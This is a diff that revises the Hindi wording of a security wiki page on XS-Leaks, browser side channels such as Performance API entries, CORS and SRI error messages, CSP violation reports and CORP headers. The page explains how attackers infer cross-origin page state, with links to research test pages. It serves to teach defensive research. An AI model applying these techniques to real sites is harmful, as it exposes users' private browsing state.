@ -272,13 +272,13 @@ xs-search/connection-pool-example.md
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
||||
- **More info**:
|
||||
- **Summary:** यह पिछले तकनीक के समान है लेकिन सभी सॉकेट्स का उपयोग करने के बजाय, Google **Chrome** एक ही मूल के लिए **6 समवर्ती अनुरोधों** की सीमा लगाता है। यदि हम **5 को अवरुद्ध करते हैं** और फिर **6 वां** अनुरोध लॉन्च करते हैं, तो हम इसे **समय** कर सकते हैं और यदि हम **पीड़ित पृष्ठ को** उसी एंडपॉइंट पर अधिक **अनुरोध भेजने** में सफल होते हैं, तो **6 वां अनुरोध** **लंबा** होगा और हम इसे पहचान सकते हैं।
|
||||
- **Summary:** यह पिछले तकनीक के समान है लेकिन सभी सॉकेट्स का उपयोग करने के बजाय, Google **Chrome** एक ही मूल के लिए **6 समवर्ती अनुरोधों** की सीमा लगाता है। यदि हम **5 को अवरुद्ध करते हैं** और फिर **6वां** अनुरोध शुरू करते हैं, तो हम इसे **समय** कर सकते हैं और यदि हम **पीड़ित पृष्ठ को** उसी एंडपॉइंट पर अधिक **अनुरोध भेजने** में सफल होते हैं, तो **6वां अनुरोध** **लंबा** होगा और हम इसे पहचान सकते हैं।
|
||||
|
||||
## Performance API Techniques
|
||||
|
||||
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) वेब अनुप्रयोगों के प्रदर्शन मेट्रिक्स के बारे में जानकारी प्रदान करता है, जिसे [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) द्वारा और समृद्ध किया गया है। Resource Timing API नेटवर्क अनुरोध समय की विस्तृत निगरानी की अनुमति देती है, जैसे अनुरोधों की अवधि। विशेष रूप से, जब सर्वर अपने उत्तरों में `Timing-Allow-Origin: *` हेडर शामिल करते हैं, तो अतिरिक्त डेटा जैसे ट्रांसफर आकार और डोमेन लुकअप समय उपलब्ध हो जाता है।
|
||||
|
||||
इस डेटा की प्रचुरता को [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) या [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) जैसी विधियों के माध्यम से पुनः प्राप्त किया जा सकता है, जो प्रदर्शन से संबंधित जानकारी का एक व्यापक दृश्य प्रदान करता है। इसके अलावा, API [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) से प्राप्त टाइमस्टैम्प के बीच के अंतर की गणना करके निष्पादन समय को मापने की सुविधा प्रदान करता है। हालाँकि, यह ध्यान देने योग्य है कि Chrome जैसे ब्राउज़रों में कुछ संचालन के लिए, `performance.now()` की सटीकता मिलीसेकंड तक सीमित हो सकती है, जो समय माप की बारीकी को प्रभावित कर सकती है।
|
||||
इस डेटा की समृद्धता को [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) या [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) जैसी विधियों के माध्यम से प्राप्त किया जा सकता है, जो प्रदर्शन से संबंधित जानकारी का एक व्यापक दृश्य प्रदान करता है। इसके अलावा, API [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) से प्राप्त टाइमस्टैम्प के बीच के अंतर की गणना करके निष्पादन समय को मापने की सुविधा प्रदान करता है। हालाँकि, यह ध्यान देने योग्य है कि Chrome जैसे ब्राउज़रों में कुछ संचालन के लिए, `performance.now()` की सटीकता मिलीसेकंड तक सीमित हो सकती है, जो समय माप की बारीकी को प्रभावित कर सकती है।
|
||||
|
||||
समय माप के अलावा, प्रदर्शन API को सुरक्षा से संबंधित अंतर्दृष्टि के लिए भी उपयोग किया जा सकता है। उदाहरण के लिए, Chrome में `performance` ऑब्जेक्ट में पृष्ठों की उपस्थिति या अनुपस्थिति `X-Frame-Options` के लागू होने का संकेत दे सकती है। विशेष रूप से, यदि किसी पृष्ठ को `X-Frame-Options` के कारण एक फ्रेम में रेंडर करने से रोका जाता है, तो यह `performance` ऑब्जेक्ट में दर्ज नहीं किया जाएगा, जो पृष्ठ की फ्रेमिंग नीतियों के बारे में एक सूक्ष्म संकेत प्रदान करता है।
|
||||
|
||||
@ -287,10 +287,10 @@ xs-search/connection-pool-example.md
|
||||
- **Inclusion Methods**: Frames, HTML Elements
|
||||
- **Detectable Difference**: Status Code
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** एक अनुरोध जो त्रुटियों का परिणाम देता है, वह संसाधन समय माप प्रविष्टि नहीं बनाएगा।
|
||||
- **Summary:** एक अनुरोध जो त्रुटियों का परिणाम देता है, संसाधन समय प्रविष्टि नहीं बनाएगा।
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
||||
|
||||
यह **HTTP प्रतिक्रिया स्थिति कोड** के बीच **अंतर** करने के लिए संभव है क्योंकि जो अनुरोध **त्रुटि** का परिणाम देते हैं वे **प्रदर्शन प्रविष्टि** नहीं बनाते हैं।
|
||||
यह **HTTP प्रतिक्रिया स्थिति कोड** के बीच **अंतर** करने के लिए संभव है क्योंकि जो अनुरोध **त्रुटि** का परिणाम देते हैं, वे **प्रदर्शन प्रविष्टि** नहीं बनाते हैं।
|
||||
|
||||
### Style Reload Error
|
||||
|
||||
@ -317,7 +317,7 @@ xs-search/connection-pool-example.md
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** खाली प्रतिक्रियाएँ संसाधन समय माप प्रविष्टियाँ नहीं बनाती हैं।
|
||||
- **Summary:** खाली प्रतिक्रियाएँ संसाधन समय प्रविष्टियाँ नहीं बनाती हैं।
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
||||
|
||||
एक हमलावर यह पहचान सकता है कि क्या एक अनुरोध का परिणाम एक खाली HTTP प्रतिक्रिया शरीर में हुआ क्योंकि **खाली पृष्ठ कुछ ब्राउज़रों में प्रदर्शन प्रविष्टि नहीं बनाते हैं**।
|
||||
@ -330,14 +330,14 @@ xs-search/connection-pool-example.md
|
||||
- **Summary:** सुरक्षा आश्वासन में XSS ऑडिटर का उपयोग करते हुए, हमलावर प्रतिक्रिया में बदलावों का अवलोकन करके विशिष्ट वेबपृष्ठ तत्वों का पता लगा सकते हैं जब तैयार किए गए पेलोड ऑडिटर के फ़िल्टरिंग तंत्र को सक्रिय करते हैं।
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
सुरक्षा आश्वासन (SA) में, XSS ऑडिटर, जो मूल रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों को रोकने के लिए डिज़ाइन किया गया था, को संवेदनशील जानकारी लीक करने के लिए विपरीत रूप से शोषित किया जा सकता है। हालाँकि, यह अंतर्निहित विशेषता Google Chrome (GC) से हटा दी गई थी, यह SA में अभी भी मौजूद है। 2013 में, ब्रौन और हाइडरिच ने दिखाया कि XSS ऑडिटर अनजाने में वैध स्क्रिप्टों को अवरुद्ध कर सकता है, जिससे झूठे सकारात्मक परिणाम मिलते हैं। इसके आधार पर, शोधकर्ताओं ने जानकारी निकालने और क्रॉस-ओरिजिन पृष्ठों पर विशिष्ट सामग्री का पता लगाने के लिए तकनीकों का विकास किया, जिसे XS-Leaks के रूप में जाना जाता है, जिसे पहले टेराडा द्वारा रिपोर्ट किया गया था और हेयस द्वारा एक ब्लॉग पोस्ट में विस्तृत किया गया था। हालाँकि ये तकनीकें GC में XSS ऑडिटर के लिए विशिष्ट थीं, यह पाया गया कि SA में, XSS ऑडिटर द्वारा अवरुद्ध पृष्ठ प्रदर्शन API में प्रविष्टियाँ उत्पन्न नहीं करते हैं, जिससे संवेदनशील जानकारी लीक होने का एक तरीका प्रकट होता है।
|
||||
सुरक्षा आश्वासन (SA) में, XSS ऑडिटर, जो मूल रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों को रोकने के लिए डिज़ाइन किया गया था, को संवेदनशील जानकारी लीक करने के लिए विपरीत रूप से शोषण किया जा सकता है। हालाँकि, यह अंतर्निहित विशेषता Google Chrome (GC) से हटा दी गई थी, यह SA में अभी भी मौजूद है। 2013 में, ब्रौन और हाइडरिच ने दिखाया कि XSS ऑडिटर अनजाने में वैध स्क्रिप्ट को अवरुद्ध कर सकता है, जिससे झूठे सकारात्मक होते हैं। इसके आधार पर, शोधकर्ताओं ने जानकारी निकालने और क्रॉस-ओरिजिन पृष्ठों पर विशिष्ट सामग्री का पता लगाने के लिए तकनीकों का विकास किया, जिसे XS-Leaks के रूप में जाना जाता है, जिसे पहले टेराडा द्वारा रिपोर्ट किया गया था और हेयस द्वारा एक ब्लॉग पोस्ट में विस्तृत किया गया था। हालाँकि ये तकनीकें GC में XSS ऑडिटर के लिए विशिष्ट थीं, यह पाया गया कि SA में, XSS ऑडिटर द्वारा अवरुद्ध पृष्ठ प्रदर्शन API में प्रविष्टियाँ उत्पन्न नहीं करते हैं, जिससे संवेदनशील जानकारी लीक होने का एक तरीका प्रकट होता है।
|
||||
|
||||
### X-Frame Leak
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Header
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
|
||||
- **Summary:** X-Frame-Options हेडर के साथ संसाधन प्रदर्शन समय माप प्रविष्टि नहीं बनाता है।
|
||||
- **Summary:** X-Frame-Options हेडर वाला संसाधन संसाधन समय प्रविष्टि नहीं बनाता है।
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||||
|
||||
यदि किसी पृष्ठ को **iframe** में **रेंडर** करने की **अनुमति नहीं है**, तो यह **प्रदर्शन प्रविष्टि** नहीं बनाता है। परिणामस्वरूप, एक हमलावर प्रतिक्रिया हेडर **`X-Frame-Options`** का पता लगा सकता है।\
|
||||
@ -348,27 +348,27 @@ xs-search/connection-pool-example.md
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Header
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** डाउनलोड प्रदर्शन API में संसाधन समय माप प्रविष्टियाँ नहीं बनाते हैं।
|
||||
- **Summary:** डाउनलोड प्रदर्शन API में संसाधन समय प्रविष्टियाँ नहीं बनाते हैं।
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
|
||||
जैसे, वर्णित XS-Leak, एक **संसाधन जो डाउनलोड किया गया है** क्योंकि ContentDisposition हेडर के कारण, वह भी **प्रदर्शन प्रविष्टि** नहीं बनाता है। यह तकनीक सभी प्रमुख ब्राउज़रों में काम करती है।
|
||||
जैसे, वर्णित XS-Leak, एक **संसाधन जो डाउनलोड किया गया है** क्योंकि ContentDisposition हेडर के कारण, भी **प्रदर्शन प्रविष्टि** नहीं बनाता है। यह तकनीक सभी प्रमुख ब्राउज़रों में काम करती है।
|
||||
|
||||
### Redirect Start Leak
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Redirect
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** संसाधन समय माप प्रविष्टि एक रीडायरेक्ट के प्रारंभ समय को लीक करती है।
|
||||
- **Summary:** संसाधन समय प्रविष्टि एक रीडायरेक्ट के प्रारंभ समय को लीक करती है।
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
हमने एक XS-Leak उदाहरण पाया जो कुछ ब्राउज़रों के व्यवहार का दुरुपयोग करता है जो क्रॉस-ओरिजिन अनुरोधों के लिए बहुत अधिक जानकारी लॉग करते हैं। मानक एक उपसमुच्चय विशेषताओं को शून्य पर सेट करने के लिए परिभाषित करता है जो क्रॉस-ओरिजिन संसाधनों के लिए होनी चाहिए। हालाँकि, **SA** में यह संभव है कि उपयोगकर्ता को लक्षित पृष्ठ द्वारा **रीडायरेक्ट** किया गया है, **प्रदर्शन API** को क्वेरी करके और **redirectStart समय डेटा** की जांच करके।
|
||||
हमने एक XS-Leak उदाहरण पाया जो कुछ ब्राउज़रों के व्यवहार का दुरुपयोग करता है जो क्रॉस-ओरिजिन अनुरोधों के लिए बहुत अधिक जानकारी लॉग करते हैं। मानक एक उपसमुच्चय विशेषताओं को शून्य पर सेट करने के लिए परिभाषित करता है जो क्रॉस-ओरिजिन संसाधनों के लिए होना चाहिए। हालाँकि, **SA** में यह पता लगाना संभव है कि क्या उपयोगकर्ता लक्षित पृष्ठ द्वारा **रीडायरेक्ट** किया गया है, **Performance API** को क्वेरी करके और **redirectStart समय डेटा** की जांच करके।
|
||||
|
||||
### Duration Redirect Leak
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Redirect
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** रीडायरेक्ट होने पर समय माप प्रविष्टियों की अवधि नकारात्मक होती है।
|
||||
- **Summary:** रीडायरेक्ट होने पर समय प्रविष्टियों की अवधि नकारात्मक होती है।
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
||||
|
||||
GC में, **रीडायरेक्ट** का परिणाम देने वाले अनुरोधों के लिए **अवधि** **नकारात्मक** होती है और इस प्रकार इसे **रीडायरेक्ट** का परिणाम देने वाले अनुरोधों से **अलग** किया जा सकता है।
|
||||
@ -378,7 +378,7 @@ GC में, **रीडायरेक्ट** का परिणाम द
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Header
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** CORP के साथ संरक्षित संसाधन प्रदर्शन समय माप प्रविष्टियाँ नहीं बनाते हैं।
|
||||
- **Summary:** CORP द्वारा संरक्षित संसाधन संसाधन समय प्रविष्टियाँ नहीं बनाते हैं।
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||||
|
||||
कुछ मामलों में, **nextHopProtocol प्रविष्टि** को लीक तकनीक के रूप में उपयोग किया जा सकता है। GC में, जब **CORP हेडर** सेट किया जाता है, तो nextHopProtocol **खाली** होगा। ध्यान दें कि SA CORP-सक्षम संसाधनों के लिए प्रदर्शन प्रविष्टि नहीं बनाएगा।
|
||||
@ -393,7 +393,7 @@ GC में, **रीडायरेक्ट** का परिणाम द
|
||||
|
||||
सेवा कार्यकर्ता इवेंट-चालित स्क्रिप्ट संदर्भ होते हैं जो एक मूल पर चलते हैं। वे एक वेब पृष्ठ के बैकग्राउंड में चलते हैं और संसाधनों को इंटरसेप्ट, संशोधित और **कैश** कर सकते हैं ताकि ऑफ़लाइन वेब एप्लिकेशन बनाया जा सके।\
|
||||
यदि एक **संसाधन कैश** द्वारा **सेवा कार्यकर्ता** के माध्यम से एक्सेस किया जाता है, तो संसाधन **सेवा कार्यकर्ता कैश** से **लोड** होगा।\
|
||||
यह पहचानने के लिए कि क्या संसाधन **सेवा कार्यकर्ता** कैश से **लोड** किया गया था, **प्रदर्शन API** का उपयोग किया जा सकता है।\
|
||||
यह पता लगाने के लिए कि क्या संसाधन **सेवा कार्यकर्ता** कैश से **लोड** किया गया था, **Performance API** का उपयोग किया जा सकता है।\
|
||||
यह एक समय हमले के साथ भी किया जा सकता है (अधिक जानकारी के लिए पेपर की जांच करें)।
|
||||
|
||||
### Cache
|
||||
@ -480,7 +480,7 @@ audioElement.onerror = errHandler
|
||||
- **सारांश:** सुरक्षा आश्वासन (SA) में, CORS त्रुटि संदेश अनजाने में पुनर्निर्देशित अनुरोधों का पूरा URL उजागर करते हैं।
|
||||
- **कोड उदाहरण**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
यह तकनीक एक हमलावर को **क्रॉस-ओरिजिन साइट के पुनर्निर्देश का गंतव्य निकालने** में सक्षम बनाती है, यह लाभ उठाकर कि Webkit-आधारित ब्राउज़र CORS अनुरोधों को कैसे संभालते हैं। विशेष रूप से, जब एक **CORS-सक्षम अनुरोध** को एक लक्षित साइट पर भेजा जाता है जो उपयोगकर्ता स्थिति के आधार पर पुनर्निर्देश जारी करती है और ब्राउज़र बाद में अनुरोध को अस्वीकार करता है, तो **पुनर्निर्देश के लक्ष्य का पूरा URL** त्रुटि संदेश के भीतर प्रकट होता है। यह भेद्यता न केवल पुनर्निर्देश के तथ्य को उजागर करती है बल्कि पुनर्निर्देश के अंत बिंदु और किसी भी **संवेदनशील क्वेरी पैरामीटर** को भी उजागर करती है जो इसमें हो सकते हैं।
|
||||
यह तकनीक एक हमलावर को **क्रॉस-ओरिजिन साइट के पुनर्निर्देश का गंतव्य निकालने** में सक्षम बनाती है, यह लाभ उठाकर कि Webkit-आधारित ब्राउज़र CORS अनुरोधों को कैसे संभालते हैं। विशेष रूप से, जब एक **CORS-सक्षम अनुरोध** को एक लक्षित साइट पर भेजा जाता है जो उपयोगकर्ता स्थिति के आधार पर पुनर्निर्देश जारी करती है और ब्राउज़र बाद में अनुरोध को अस्वीकार कर देता है, तो **पुनर्निर्देश के लक्ष्य का पूरा URL** त्रुटि संदेश के भीतर प्रकट होता है। यह भेद्यता न केवल पुनर्निर्देश के तथ्य को उजागर करती है बल्कि पुनर्निर्देश के अंत बिंदु और किसी भी **संवेदनशील क्वेरी पैरामीटर** को भी उजागर करती है जो इसमें हो सकते हैं।
|
||||
|
||||
### SRI त्रुटि
|
||||
|
||||
@ -490,17 +490,17 @@ audioElement.onerror = errHandler
|
||||
- **सारांश:** सुरक्षा आश्वासन (SA) में, CORS त्रुटि संदेश अनजाने में पुनर्निर्देशित अनुरोधों का पूरा URL उजागर करते हैं।
|
||||
- **कोड उदाहरण**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||||
|
||||
एक हमलावर **विस्तृत त्रुटि संदेशों** का लाभ उठाकर क्रॉस-ओरिजिन प्रतिक्रियाओं के आकार का अनुमान लगा सकता है। यह Subresource Integrity (SRI) के तंत्र के कारण संभव है, जो यह सुनिश्चित करने के लिए अखंडता विशेषता का उपयोग करता है कि संसाधन जो आमतौर पर CDNs से लाए जाते हैं, उनमें छेड़छाड़ नहीं की गई है। SRI को क्रॉस-ओरिजिन संसाधनों पर काम करने के लिए, इन्हें **CORS-सक्षम** होना चाहिए; अन्यथा, ये अखंडता जांच के अधीन नहीं होते। सुरक्षा आश्वासन (SA) में, CORS त्रुटि XS-Leak की तरह, एक त्रुटि संदेश को एक अखंडता विशेषता के साथ एक फ़ेच अनुरोध के बाद कैप्चर किया जा सकता है जो विफल हो जाता है। हमलावर जानबूझकर **इस त्रुटि को ट्रिगर कर सकते हैं** किसी भी अनुरोध की अखंडता विशेषता में **झूठा हैश मान** असाइन करके। SA में, परिणामी त्रुटि संदेश अनजाने में अनुरोधित संसाधन की सामग्री लंबाई को प्रकट करता है। यह जानकारी लीक होने से एक हमलावर को प्रतिक्रिया के आकार में भिन्नताओं का पता लगाने की अनुमति मिलती है, जो परिष्कृत XS-Leak हमलों के लिए रास्ता प्रशस्त करती है।
|
||||
एक हमलावर **विस्तृत त्रुटि संदेशों** का लाभ उठाकर क्रॉस-ओरिजिन प्रतिक्रियाओं के आकार का अनुमान लगा सकता है। यह Subresource Integrity (SRI) के तंत्र के कारण संभव है, जो यह सुनिश्चित करने के लिए अखंडता विशेषता का उपयोग करता है कि संसाधन जो आमतौर पर CDNs से लाए जाते हैं, उनमें छेड़छाड़ नहीं की गई है। SRI को क्रॉस-ओरिजिन संसाधनों पर काम करने के लिए, इन्हें **CORS-सक्षम** होना चाहिए; अन्यथा, वे अखंडता जांच के अधीन नहीं होते हैं। सुरक्षा आश्वासन (SA) में, CORS त्रुटि XS-Leak की तरह, एक त्रुटि संदेश को एक अखंडता विशेषता के साथ एक फ़ेच अनुरोध के बाद कैप्चर किया जा सकता है जो विफल हो जाता है। हमलावर जानबूझकर **इस त्रुटि को ट्रिगर कर सकते हैं** एक **बोगस हैश मान** को किसी भी अनुरोध की अखंडता विशेषता में असाइन करके। SA में, परिणामी त्रुटि संदेश अनजाने में अनुरोधित संसाधन की सामग्री लंबाई को प्रकट करता है। यह जानकारी लीक होने से एक हमलावर को प्रतिक्रिया के आकार में भिन्नताओं का पता लगाने की अनुमति मिलती है, जो परिष्कृत XS-Leak हमलों के लिए रास्ता प्रशस्त करती है।
|
||||
|
||||
### CSP उल्लंघन/पता लगाना
|
||||
|
||||
- **शामिल करने के तरीके**: पॉप-अप
|
||||
- **पता लगाने में अंतर**: स्थिति कोड
|
||||
- **अधिक जानकारी**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
||||
- **सारांश:** यदि हम पीड़ित की वेबसाइट को CSP में केवल अनुमति देते हैं और यह किसी अन्य डोमेन पर पुनर्निर्देशित करने की कोशिश करता है, तो CSP एक पता लगाने योग्य त्रुटि को ट्रिगर करेगा।
|
||||
- **सारांश:** यदि हम केवल पीड़ित की वेबसाइट को CSP में अनुमति देते हैं और यह एक अलग डोमेन पर पुनर्निर्देशित करने की कोशिश करता है, तो CSP एक पता लगाने योग्य त्रुटि को ट्रिगर करेगा।
|
||||
- **कोड उदाहरण**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
एक XS-Leak CSP का उपयोग करके यह पता लगा सकता है कि क्या एक क्रॉस-ओरिजिन साइट को एक अलग मूल पर पुनर्निर्देशित किया गया था। यह लीक पुनर्निर्देश का पता लगा सकता है, लेकिन इसके अतिरिक्त, पुनर्निर्देश लक्ष्य का डोमेन भी लीक करता है। इस हमले का मूल विचार है **हमलावर साइट पर लक्षित डोमेन की अनुमति देना**। एक बार जब लक्षित डोमेन पर एक अनुरोध जारी किया जाता है, तो यह **पुनर्निर्देशित** होता है एक क्रॉस-ओरिजिन डोमेन पर। **CSP इसे एक्सेस करने से रोकता है** और एक **उल्लंघन रिपोर्ट बनाता है जो लीक तकनीक के रूप में उपयोग की जाती है**। ब्राउज़र के आधार पर, **यह रिपोर्ट पुनर्निर्देश के लक्ष्य स्थान को लीक कर सकती है**।\
|
||||
एक XS-Leak CSP का उपयोग कर यह पता लगा सकता है कि एक क्रॉस-ओरिजिन साइट को एक अलग मूल पर पुनर्निर्देशित किया गया था। यह लीक पुनर्निर्देश का पता लगा सकता है, लेकिन इसके अतिरिक्त, पुनर्निर्देश लक्ष्य का डोमेन भी लीक करता है। इस हमले का मूल विचार है **हमलावर साइट पर लक्षित डोमेन की अनुमति देना**। एक बार जब लक्षित डोमेन के लिए एक अनुरोध जारी किया जाता है, तो यह **पुनर्निर्देशित** होता है एक क्रॉस-ओरिजिन डोमेन पर। **CSP** इसके लिए पहुंच को अवरुद्ध करता है और एक **उल्लंघन रिपोर्ट बनाता है जो लीक तकनीक के रूप में उपयोग की जाती है**। ब्राउज़र के आधार पर, **यह रिपोर्ट पुनर्निर्देश के लक्ष्य स्थान को लीक कर सकती है**।\
|
||||
आधुनिक ब्राउज़र यह नहीं बताते कि इसे किस URL पर पुनर्निर्देशित किया गया था, लेकिन आप अभी भी यह पता लगा सकते हैं कि एक क्रॉस-ओरिजिन पुनर्निर्देश को ट्रिगर किया गया था।
|
||||
|
||||
### कैश
|
||||
@ -523,17 +523,17 @@ audioElement.onerror = errHandler
|
||||
- **सारांश:** CSP हेडर निर्देशों को CSP iframe विशेषता का उपयोग करके जांचा जा सकता है, जो नीति विवरण प्रकट करता है।
|
||||
- **कोड उदाहरण**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
||||
|
||||
Google Chrome (GC) में एक नया फीचर वेब पृष्ठों को **एक सामग्री सुरक्षा नीति (CSP)** प्रस्तावित करने की अनुमति देता है, जो iframe तत्व पर एक विशेषता सेट करके किया जाता है, जिसमें नीति निर्देश HTTP अनुरोध के साथ भेजे जाते हैं। सामान्यतः, एम्बेडेड सामग्री को **HTTP हेडर के माध्यम से इसकी अनुमति देनी चाहिए**, अन्यथा एक **त्रुटि पृष्ठ प्रदर्शित होता है**। हालाँकि, यदि iframe पहले से ही CSP द्वारा शासित है और प्रस्तावित नीति अधिक प्रतिबंधात्मक नहीं है, तो पृष्ठ सामान्य रूप से लोड होगा। यह तंत्र एक हमलावर को **क्रॉस-ओरिजिन पृष्ठ के विशिष्ट CSP निर्देशों का पता लगाने** के लिए एक मार्ग खोलता है, त्रुटि पृष्ठ की पहचान करके। हालांकि इस भेद्यता को ठीक किया गया था, हमारे निष्कर्ष एक **नई लीक तकनीक** का पता लगाते हैं जो त्रुटि पृष्ठ का पता लगाने में सक्षम है, यह सुझाव देते हुए कि अंतर्निहित समस्या को कभी पूरी तरह से संबोधित नहीं किया गया था।
|
||||
Google Chrome (GC) में एक नया फीचर वेब पृष्ठों को **एक सामग्री सुरक्षा नीति (CSP)** का प्रस्ताव करने की अनुमति देता है, जो iframe तत्व पर एक विशेषता सेट करके किया जाता है, जिसमें नीति निर्देश HTTP अनुरोध के साथ भेजे जाते हैं। सामान्यतः, एम्बेडेड सामग्री को **HTTP हेडर के माध्यम से इसकी अनुमति देनी चाहिए**, अन्यथा एक **त्रुटि पृष्ठ प्रदर्शित होता है**। हालाँकि, यदि iframe पहले से ही CSP द्वारा शासित है और प्रस्तावित नीति अधिक प्रतिबंधात्मक नहीं है, तो पृष्ठ सामान्य रूप से लोड होगा। यह तंत्र एक हमलावर को **क्रॉस-ओरिजिन पृष्ठ के विशिष्ट CSP निर्देशों का पता लगाने** के लिए एक मार्ग खोलता है, त्रुटि पृष्ठ की पहचान करके। हालांकि इस भेद्यता को ठीक किया गया था, हमारे निष्कर्ष एक **नई लीक तकनीक** का पता लगाते हैं जो त्रुटि पृष्ठ का पता लगाने में सक्षम है, यह सुझाव देते हुए कि अंतर्निहित समस्या को कभी पूरी तरह से संबोधित नहीं किया गया था।
|
||||
|
||||
### **CORP**
|
||||
|
||||
- **शामिल करने के तरीके**: Fetch API
|
||||
- **पता लगाने में अंतर**: हेडर
|
||||
- **अधिक जानकारी**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
|
||||
- **सारांश:** क्रॉस-ओरिजिन रिसोर्स पॉलिसी (CORP) से सुरक्षित संसाधन एक अस्वीकृत मूल से लाए जाने पर त्रुटि फेंकेंगे।
|
||||
- **सारांश:** क्रॉस-ओरिजिन संसाधन नीति (CORP) के साथ सुरक्षित संसाधन एक अस्वीकृत मूल से लाए जाने पर त्रुटि फेंकेंगे।
|
||||
- **कोड उदाहरण**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
||||
|
||||
CORP हेडर एक अपेक्षाकृत नया वेब प्लेटफ़ॉर्म सुरक्षा फीचर है जो सेट होने पर **दिए गए संसाधन के लिए नो-कोर्स क्रॉस-ओरिजिन अनुरोधों को ब्लॉक करता है**। हेडर की उपस्थिति का पता लगाया जा सकता है, क्योंकि CORP से सुरक्षित संसाधन **लाए जाने पर त्रुटि फेंकेंगे**।
|
||||
CORP हेडर एक अपेक्षाकृत नया वेब प्लेटफ़ॉर्म सुरक्षा फीचर है जो सेट होने पर **दिए गए संसाधन के लिए नो-CORS क्रॉस-ओरिजिन अनुरोधों को अवरुद्ध करता है**। हेडर की उपस्थिति का पता लगाया जा सकता है, क्योंकि CORP से सुरक्षित संसाधन **लाए जाने पर त्रुटि फेंक देगा**।
|
||||
|
||||
### CORB
|
||||
|
||||
@ -553,7 +553,7 @@ CORP हेडर एक अपेक्षाकृत नया वेब प
|
||||
- **सारांश**: यदि मूल हेडर को हेडर `Access-Control-Allow-Origin` में परावर्तित किया जाता है, तो यह जांचना संभव है कि क्या कोई संसाधन पहले से कैश में है।
|
||||
